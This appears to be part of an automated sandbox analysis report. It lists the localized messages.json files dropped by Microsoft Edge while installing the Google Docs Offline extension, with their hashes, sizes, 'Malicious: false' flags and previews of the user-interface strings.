SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5448_1226484613\CRX_INSTALL\_locales\en_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5448_1226484613\CRX_INSTALL\_locales\en_GB\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	4.494568170878587
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3vRyc1NzXW6iFrSCBxesJGceKCSUuvlvOgwCBhUufz1tnaXrQ:1HA3djfR3NzXviFrJj4sJXJ+bA6RM
MD5:	3734D498FB377CF5E4E2508B8131C0FA
SHA1:	AA23E39BFE526B5E3379DE04E00EACBA89C55ADE
SHA-256:	AB5CDA04013DCE0195E80AF714FBF3A67675283768FFD062CF3CF16EDB49F5D4
SHA-512:	56D9C792954214B0DE56558983F7EB7805AC330AF00E944E734340BE41C68E5DD03EDDB17A63BC2AB99BDD9BE1F2E2DA5BE8BA7C43D938A67151082A9041C7BA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an Internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the Internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create and view your documents, spreadsheets and presentations . all without Internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn more".. },.. "popuphelptext": {.. "message": "Write, edit and collaborate wherever you are, with or without an Internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5448_1226484613\CRX_INSTALL\_locales\en_US\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1425
Entropy (8bit):	4.461560329690825
Encrypted:	false
SSDEEP:	24:1HA6Krbbds5Kna/BNzXviFrpsCxKU4irpNQ0+qWK5yOJAaCB7MAa6:BKrbBs5Kna/BNzXvi3sCxKZirA0jWK5m
MD5:	578215FBB8C12CB7E6CD73FBD16EC994
SHA1:	9471D71FA6D82CE1863B74E24237AD4FD9477187
SHA-256:	102B586B197EA7D6EDFEB874B97F95B05D229EA6A92780EA8544C4FF1E6BC5B1
SHA-512:	E698B1A6A6ED6963182F7D25AC12C6DE06C45D14499DDC91E81BDB35474E7EC9071CFEBD869B7D129CB2CD127BC1442C75E408E21EB8E5E6906A607A3982B212
Malicious:	false
Preview:	{.. "createNew": {.. "description": "Text shown in the extension pop up for creating a new document",.. "message": "CREATE NEW".. },.. "explanationOfflineDisabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is disabled.",.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationOfflineEnabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is enabled.",.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extDesc": {.. "description": "Extension description",.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extName": {.. "description": "Extension name",..

C:\Users\user\AppData\Local\Temp\scoped_dir5448_1226484613\CRX_INSTALL\_locales\es\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	4.537633413451255
Encrypted:	false
SSDEEP:	12:1HASvggeCBxNFxcw2CVcfamedatqWCCBxeFxCF/m+rWAaFQbCSUuExqIQdO06stp:1HAqn0gcfa9dc/5mCpmIWck02USfWmk
MD5:	F61916A206AC0E971CDCB63B29E580E3
SHA1:	994B8C985DC1E161655D6E553146FB84D0030619
SHA-256:	2008F4FAAB71AB8C76A5D8811AD40102C380B6B929CE0BCE9C378A7CADFC05EB
SHA-512:	D9C63B2F99015355ACA04D74A27FD6B81170750C4B4BE7293390DC81EF4CD920EE9184B05C61DC8979B6C2783528949A4AE7180DBF460A2620DBB0D3FD7A05CF
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a Configuraci.n en la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que te conectes a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n. Aun as., puedes crear archivos o editar los que est.n disponibles.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones; todo ello, sin acceso a Internet.".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe o edita contenido y colabora con otras personas desde cualquier lugar, con o sin conexi.n a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5448_1226484613\CRX_INSTALL\_locales\es_419\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	959
Entropy (8bit):	4.570019855018913
Encrypted:	false
SSDEEP:	24:1HARn05cfa9dcDmQOTtSprj0zaGUSjSGZ:+n0CfMcDmQOTQprj4qpC
MD5:	535331F8FB98894877811B14994FEA9D
SHA1:	42475E6AFB6A8AE41E2FC2B9949189EF9BBE09FB
SHA-256:	90A560FF82605DB7EDA26C90331650FF9E42C0B596CEDB79B23598DEC1B4988F
SHA-512:	2CE9C69E901AB5F766E6CFC1E592E1AF5A07AA78D154CCBB7898519A12E6B42A21C5052A86783ABE3E7A05043D4BD41B28960FEDDB30169FF7F7FE7208C8CFE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NUEVO".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a la configuraci.n de la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que est.s conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n, pero a.n puedes modificar los archivos disponibles o crear otros nuevos.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones aunque no tengas acceso a Internet".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, modifica y colabora dondequiera que est.s, con conexi.n a Internet o sin ella.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5448_1226484613\CRX_INSTALL\_locales\et\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	968
Entropy (8bit):	4.633956349931516
Encrypted:	false
SSDEEP:	24:1HA5WG6t306+9sihHvMfdJLjUk4NJPNczGr:mWGY0cOUdJODPmzs
MD5:	64204786E7A7C1ED9C241F1C59B81007
SHA1:	586528E87CD670249A44FB9C54B1796E40CDB794
SHA-256:	CC31B877238DA6C1D51D9A6155FDE565727A1956572F466C387B7E41C4923A29
SHA-512:	44FCF93F3FB10A3DB68D74F9453995995AB2D16863EC89779DB451A4D90F19743B8F51095EEC3ECEF5BD0C5C60D1BF3DFB0D64DF288DCCFBE70C129AE350B2C6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LOO UUS".. },.. "explanationofflinedisabled": {.. "message": "Teil ei ole v.rgu.hendust. Teenuse Google.i dokumendid kasutamiseks ilma Interneti-.henduseta avage j.rgmine kord, kui olete Internetiga .hendatud, teenuse Google.i dokumendid avalehel seaded ja l.litage sisse v.rgu.henduseta s.nkroonimine.".. },.. "explanationofflineenabled": {.. "message": "Teil ei ole v.rgu.hendust, kuid saate endiselt saadaolevaid faile muuta v.i uusi luua.".. },.. "extdesc": {.. "message": "Saate luua, muuta ja vaadata oma dokumente, arvustustabeleid ning esitlusi ilma Interneti-.henduseta.".. },.. "extname": {.. "message": "V.rgu.henduseta Google.i dokumendid".. },.. "learnmore": {.. "message": "Lisateave".. },.. "popuphelptext": {.. "message": "Kirjutage, muutke ja tehke koost..d .ksk.ik kus olenemata sellest, kas teil on Interneti-.hendus.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5448_1226484613\CRX_INSTALL\_locales\eu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	4.4975520913636595
Encrypted:	false
SSDEEP:	24:YnmjggqTWngosqYQqE1kjO39m7OddC0vjWQMmWgqwgQ8KLcxOb:Ynmsgqyngosq9qxTOs0vjWQMbgqchb
MD5:	29A1DA4ACB4C9D04F080BB101E204E93
SHA1:	2D0E4587DDD4BAC1C90E79A88AF3BD2C140B53B1
SHA-256:	A41670D52423BA69C7A65E7E153E7B9994E8DD0370C584BDA0714BD61C49C578
SHA-512:	B7B7A5A0AA8F6724B0FA15D65F25286D9C66873F03080CBABA037BDEEA6AADC678AC4F083BC52C2DB01BEB1B41A755ED67BBDDB9C0FE4E35A004537A3F7FC458
Malicious:	false
Preview:	{"createnew":{"message":"SORTU"},"explanationofflinedisabled":{"message":"Ez zaude konektatuta Internetera. Google Dokumentuak konexiorik gabe erabiltzeko, joan Google Dokumentuak zerbitzuaren orri nagusiko ezarpenetara eta aktibatu konexiorik gabeko sinkronizazioa Internetera konektatzen zaren hurrengoan."},"explanationofflineenabled":{"message":"Ez zaude konektatuta Internetera, baina erabilgarri dauden fitxategiak edita ditzakezu, baita beste batzuk sortu ere."},"extdesc":{"message":"Editatu, sortu eta ikusi dokumentuak, kalkulu-orriak eta aurkezpenak Interneteko konexiorik gabe."},"extname":{"message":"Google Dokumentuak konexiorik gabe"},"learnmore":{"message":"Lortu informazio gehiago"},"popuphelptext":{"message":"Edonon zaudela ere, ez duzu zertan konektatuta egon idatzi, editatu eta lankidetzan jardun ahal izateko."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir5448_1226484613\CRX_INSTALL\_locales\fa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1305
Entropy (8bit):	4.673517697192589
Encrypted:	false
SSDEEP:	24:1HAX9yM7oiI99Rwx4xyQakJbfAEJhmq/RlBu92P7FbNcgYVJ0:JM7ovex4xyQaKjAEyq/p7taX0
MD5:	097F3BA8DE41A0AAF436C783DCFE7EF3
SHA1:	986B8CABD794E08C7AD41F0F35C93E4824AC84DF
SHA-256:	7C4C09D19AC4DA30CC0F7F521825F44C4DFBC19482A127FBFB2B74B3468F48F1
SHA-512:	8114EA7422E3B20AE3F08A3A64A6FFE1517A7579A3243919B8F789EB52C68D6F5A591F7B4D16CEE4BD337FF4DAF4057D81695732E5F7D9E761D04F859359FADB
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ... ....".. },.. "explanationofflinedisabled": {.. "message": "...... ...... .... ....... .. ....... Google .... ..... ........ .... ... .. .. ....... ... ..... .. ....... .. .... .... ....... Google ..... . .......... ...... .. .... .....".. },.. "explanationofflineenabled": {.. "message": "...... ..... ... ...... ......... ......... .. .. .. ..... ..... ...... .... .. ........ ..... ..... .....".. },.. "extdesc": {.. "message": "...... ............ . ........ .. ....... ..... . ...... .... . ... ... ..... .... ...... .. ........".. },.. "extname": {.. "message": "....... Google .

C:\Users\user\AppData\Local\Temp\scoped_dir5448_1226484613\CRX_INSTALL\_locales\fi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	911
Entropy (8bit):	4.6294343834070935
Encrypted:	false
SSDEEP:	12:1HASvguCBxNMME2BESA7gPQk36xCBxeMMcXYBt+CSU1pfazCBhUunV1tLaX5GI2N:1HAVioESAsPf36O3Xst/p3J8JeEY
MD5:	B38CBD6C2C5BFAA6EE252D573A0B12A1
SHA1:	2E490D5A4942D2455C3E751F96BD9960F93C4B60
SHA-256:	2D752A5DBE80E34EA9A18C958B4C754F3BC10D63279484E4DF5880B8FD1894D2
SHA-512:	6E65207F4D8212736059CC802C6A7104E71A9CC0935E07BD13D17EC46EA26D10BC87AD923CD84D78781E4F93231A11CB9ED8D3558877B6B0D52C07CB005F1C0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LUO UUSI".. },.. "explanationofflinedisabled": {.. "message": "Olet offline-tilassa. Jos haluat k.ytt.. Google Docsia ilman internetyhteytt., siirry Google Docsin etusivulle ja ota asetuksissa k.ytt..n offline-synkronointi, kun seuraavan kerran olet yhteydess. internetiin.".. },.. "explanationofflineenabled": {.. "message": "Olet offline-tilassa. Voit kuitenkin muokata k.ytett.viss. olevia tiedostoja tai luoda uusia.".. },.. "extdesc": {.. "message": "Muokkaa, luo ja katso dokumentteja, laskentataulukoita ja esityksi. ilman internetyhteytt..".. },.. "extname": {.. "message": "Google Docsin offline-tila".. },.. "learnmore": {.. "message": "Lis.tietoja".. },.. "popuphelptext": {.. "message": "Kirjoita, muokkaa ja tee yhteisty.t. paikasta riippumatta, my.s ilman internetyhteytt..".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5448_1226484613\CRX_INSTALL\_locales\fil\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	939
Entropy (8bit):	4.451724169062555
Encrypted:	false
SSDEEP:	24:1HAXbH2eZXn6sjLITdRSJpGL/gWFJ3sqixO:ubHfZqsHIT/FLL3qO
MD5:	FCEA43D62605860FFF41BE26BAD80169
SHA1:	F25C2CE893D65666CC46EA267E3D1AA080A25F5B
SHA-256:	F51EEB7AAF5F2103C1043D520E5A4DE0FA75E4DC375E23A2C2C4AFD4D9293A72
SHA-512:	F66F113A26E5BCF54B9AAFA69DAE3C02C9C59BD5B9A05F829C92AF208C06DC8CCC7A1875CBB7B7CE425899E4BA27BFE8CE2CDAF43A00A1B9F95149E855989EE0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "GUMAWA NG BAGO".. },.. "explanationofflinedisabled": {.. "message": "Naka-offline ka. Upang magamit ang Google Docs nang walang koneksyon sa internet, pumunta sa mga setting sa homepage ng Google Docs at i-on ang offline na pag-sync sa susunod na nakakonekta ka sa internet.".. },.. "explanationofflineenabled": {.. "message": "Naka-offline ka, ngunit maaari mo pa ring i-edit ang mga available na file o gumawa ng mga bago.".. },.. "extdesc": {.. "message": "I-edit, gawin, at tingnan ang iyong mga dokumento, spreadsheet, at presentation . lahat ng ito nang walang access sa internet.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Matuto Pa".. },.. "popuphelptext": {.. "message": "Magsulat, mag-edit at makipag-collaborate nasaan ka man, nang mayroon o walang koneksyon sa internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5448_1226484613\CRX_INSTALL\_locales\fr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.622066056638277
Encrypted:	false
SSDEEP:	24:1HAdy42ArMdsH50Jd6Z1PCBolXAJ+GgNHp0X16M1J1:EyfArMS2Jd6Z1PCBolX2+vNmX16Y1
MD5:	A58C0EEBD5DC6BB5D91DAF923BD3A2AA
SHA1:	F169870EEED333363950D0BCD5A46D712231E2AE
SHA-256:	0518287950A8B010FFC8D52554EB82E5D93B6C3571823B7CECA898906C11ABCC
SHA-512:	B04AFD61DE490BC838354E8DC6C22BE5C7AC6E55386FFF78489031ACBE2DBF1EAA2652366F7A1E62CE87CFCCB75576DA3B2645FEA1645B0ECEB38B1FA3A409E8
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour pouvoir utiliser Google.Docs sans connexion Internet, acc.dez aux param.tres de la page d'accueil de Google.Docs et activez la synchronisation hors connexion lors de votre prochaine connexion . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez quand m.me modifier les fichiers disponibles ou cr.er des fichiers.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez des documents, feuilles de calcul et pr.sentations, sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Docs hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": "R.digez des documents, modifiez-les et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5448_1226484613\CRX_INSTALL\_locales\fr_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	972
Entropy (8bit):	4.621319511196614
Encrypted:	false
SSDEEP:	24:1HAdyg2pwbv1V8Cd61PC/vT2fg3YHDyM1J1:EyHpwbpd61C/72Y3YOY1
MD5:	6CAC04BDCC09034981B4AB567B00C296
SHA1:	84F4D0E89E30ED7B7ACD7644E4867FFDB346D2A5
SHA-256:	4CAA46656ECC46A420AA98D3307731E84F5AC1A89111D2E808A228C436D83834
SHA-512:	160590B6EC3DCF48F3EA7A5BAA11A8F6FA4131059469623E00AD273606B468B3A6E56D199E97DAA0ECB6C526260EBAE008570223F2822811F441D1C900DC33D6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour utiliser Google.Documents sans connexion Internet, acc.dez aux param.tres sur la page d'accueil Google.Documents et activez la synchronisation hors ligne la prochaine fois que vous .tes connect. . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez toujours modifier les fichiers disponibles ou en cr.er.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez vos documents, vos feuilles de calcul et vos pr.sentations, le tout sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Documents hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": ".crivez, modifiez et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5448_1226484613\CRX_INSTALL\_locales\gl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.497202347098541
Encrypted:	false
SSDEEP:	12:1HASvggECBxNbWVqMjlMgaPLqXPhTth0CBxebWbMRCSUCjAKFCSIj0tR7tCBhP1l:1HACzWsMlajIhJhHKWbFKFC0tR8oNK5
MD5:	6BAAFEE2F718BEFBC7CD58A04CCC6C92
SHA1:	CE0BDDDA2FA1F0AD222B604C13FF116CBB6D02CF
SHA-256:	0CF098DFE5BBB46FC0132B3CF0C54B06B4D2C8390D847EE2A65D20F9B7480F4C
SHA-512:	3DA23E74CD6CF9C0E2A0C4DBA60301281D362FB0A2A908F39A55ABDCA4CC69AD55638C63CC3BEFD44DC032F9CBB9E2FDC1B4C4ABE292917DF8272BA25B82AF20
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est.s sen conexi.n. Para utilizar Documentos de Google sen conexi.n a Internet, accede .s opci.ns de configuraci.n na p.xina de inicio de Documentos de Google e activa a sincronizaci.n sen conexi.n a pr.xima vez que esteas conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "Est.s sen conexi.n. A.nda podes editar os ficheiros dispo.ibles ou crear outros novos.".. },.. "extdesc": {.. "message": "Modifica, crea e consulta os teus documentos, follas de c.lculo e presentaci.ns sen necesidade de acceder a Internet.".. },.. "extname": {.. "message": "Documentos de Google sen conexi.n".. },.. "learnmore": {.. "message": "M.is informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, edita e colabora esteas onde esteas, tanto se tes conexi.n a Internet como se non a tes.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5448_1226484613\CRX_INSTALL\_locales\gu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	4.294833932445159
Encrypted:	false
SSDEEP:	24:1HA3k3FzEVeXWuvLujNzAK11RiqRC2sA0O3cEiZ7dPRFFOPtZdK0A41yG3BczKT3:Q4pE4rCjNjw6/0y+5j8ZHA4PBSKr
MD5:	BC7E1D09028B085B74CB4E04D8A90814
SHA1:	E28B2919F000B41B41209E56B7BF3A4448456CFE
SHA-256:	FE8218DF25DB54E633927C4A1640B1A41B8E6CB3360FA386B5382F833B0B237C
SHA-512:	040A8267D67DB05BBAA52F1FAC3460F58D35C5B73AA76BBF17FA78ACC6D3BFB796A870DD44638F9AC3967E35217578A20D6F0B975CEEEEDBADFC9F65BE7E72C9
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .....".. },.. "explanationofflinedisabled": {.. "message": "... ...... ... ........ ....... ... Google .......... ..... .... ...., ... .... .... ...... ........ .... ...... ... ...... Google ........ ...... .. ........ .. ... ... ...... ....... .... ....".. },.. "explanationofflineenabled": {.. "message": "... ...... .., ..... ... ... .. ...... ..... ....... ... ... .. .... ... ..... ... ...".. },.. "extdesc": {.. "message": "..... ........., ..

C:\Users\user\AppData\Local\Temp\scoped_dir5448_1226484613\CRX_INSTALL\_locales\hi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1672
Entropy (8bit):	4.314484457325167
Encrypted:	false
SSDEEP:	48:46G2+ymELbLNzGVx/hXdDtxSRhqv7Qm6/7Lm:4GbxzGVzXdDtx+qzU/7C
MD5:	98A7FC3E2E05AFFFC1CFE4A029F47476
SHA1:	A17E077D6E6BA1D8A90C1F3FAF25D37B0FF5A6AD
SHA-256:	D2D1AFA224CDA388FF1DC8FAC24CDA228D7CE09DE5D375947D7207FA4A6C4F8D
SHA-512:	457E295C760ABFD29FC6BBBB7FC7D4959287BCA7FB0E3E99EB834087D17EED331DEF18138838D35C48C6DDC8A0134AFFFF1A5A24033F9B5607B355D3D48FDF88
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... .....".. },.. "explanationofflinedisabled": {.. "message": ".. ...... .... ....... ....... .. .... Google ........ .. ..... .... .. ..., .... ... ....... .. ...... .... .. Google ........ .. ........ .. ...... ... .... .. ...... ....... .... .....".. },.. "explanationofflineenabled": {.. "message": ".. ...... ..., ..... .. .. .. ...... ...... ..... .. .... ... .. .. ...... ... .... ....".. },.. "extdesc": {.. "message": ".... .... ....... ...... ..

C:\Users\user\AppData\Local\Temp\scoped_dir5448_1226484613\CRX_INSTALL\_locales\hr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	4.6369398601609735
Encrypted:	false
SSDEEP:	24:1HA7sR5k/I+UX/hrcySxG1fIZ3tp/S/d6Gpb+D:YsE/I+UX/hVSxQ03f/Sj+D
MD5:	25CDFF9D60C5FC4740A48EF9804BF5C7
SHA1:	4FADECC52FB43AEC084DF9FF86D2D465FBEBCDC0
SHA-256:	73E6E246CEEAB9875625CD4889FBF931F93B7B9DEAA11288AE1A0F8A6E311E76
SHA-512:	EF00B08496427FEB5A6B9FB3FE2E5404525BE7C329D9DD2A417480637FD91885837D134A26980DCF9F61E463E6CB68F09A24402805807E656AF16B116A75E02C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZRADI NOVI".. },.. "explanationofflinedisabled": {.. "message": "Vi ste izvan mre.e. Da biste koristili Google dokumente bez internetske veze, idite na postavke na po.etnoj stranici Google dokumenata i uklju.ite izvanmre.nu sinkronizaciju sljede.i put kada se pove.ete s internetom.".. },.. "explanationofflineenabled": {.. "message": "Vi ste izvan mre.e, no i dalje mo.ete ure.ivati dostupne datoteke i izra.ivati nove.".. },.. "extdesc": {.. "message": "Uredite, izradite i pregledajte dokumente, prora.unske tablice i prezentacije . sve bez pristupa internetu.".. },.. "extname": {.. "message": "Google dokumenti izvanmre.no".. },.. "learnmore": {.. "message": "Saznajte vi.e".. },.. "popuphelptext": {.. "message": "Pi.ite, ure.ujte i sura.ujte gdje god se nalazili, povezani s internetom ili izvanmre.no.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5448_1226484613\CRX_INSTALL\_locales\hu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.816501737523951
Encrypted:	false
SSDEEP:	24:1HA6J54gEYwFFMxv4gvyB9FzmxlsN147g/zJcYwJgrus4QY2jom:NJ54gEYwUmgKHFzmsG7izJcYOgKgYjm
MD5:	8930A51E3ACE3DD897C9E61A2AEA1D02
SHA1:	4108506500C68C054BA03310C49FA5B8EE246EA4
SHA-256:	958C0F664FCA20855FA84293566B2DDB7F297185619143457D6479E6AC81D240
SHA-512:	126B80CD3428C0BC459EEAAFCBE4B9FDE2541A57F19F3EC7346BAF449F36DC073A9CF015594A57203255941551B25F6FAA6D2C73C57C44725F563883FF902606
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".J L.TREHOZ.SA".. },.. "explanationofflinedisabled": {.. "message": "Jelenleg offline .llapotban van. Ha a Google Dokumentumokat internetkapcsolat n.lk.l szeretn. haszn.lni, a legk.zelebbi internethaszn.lata sor.n nyissa meg a Google Dokumentumok kezd.oldal.n tal.lhat. be.ll.t.sokat, .s tiltsa le az offline szinkroniz.l.s be.ll.t.st.".. },.. "explanationofflineenabled": {.. "message": "Offline .llapotban van, de az el.rhet. f.jlokat .gy is szerkesztheti, valamint l.trehozhat .jakat.".. },.. "extdesc": {.. "message": "Szerkesszen, hozzon l.tre .s tekintsen meg dokumentumokat, t.bl.zatokat .s prezent.ci.kat . ak.r internetkapcsolat n.lk.l is.".. },.. "extname": {.. "message": "Google Dokumentumok Offline".. },.. "learnmore": {.. "message": "Tov.bbi inform.ci.".. },.. "popuphelptext": {.. "message": ".rjon, szerkesszen .s dolgozzon egy.tt m.sokkal

C:\Users\user\AppData\Local\Temp\scoped_dir5448_1226484613\CRX_INSTALL\_locales\hy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2771
Entropy (8bit):	3.7629875118570055
Encrypted:	false
SSDEEP:	48:Y0Fx+eiYZBZ7K1ZZ/5QQxTuDLoFZaIZSK7lq0iC0mlMO6M3ih1oAgC:lF2BTz6N/
MD5:	55DE859AD778E0AA9D950EF505B29DA9
SHA1:	4479BE637A50C9EE8A2F7690AD362A6A8FFC59B2
SHA-256:	0B16E3F8BD904A767284345AE86A0A9927C47AFE89E05EA2B13AD80009BDF9E4
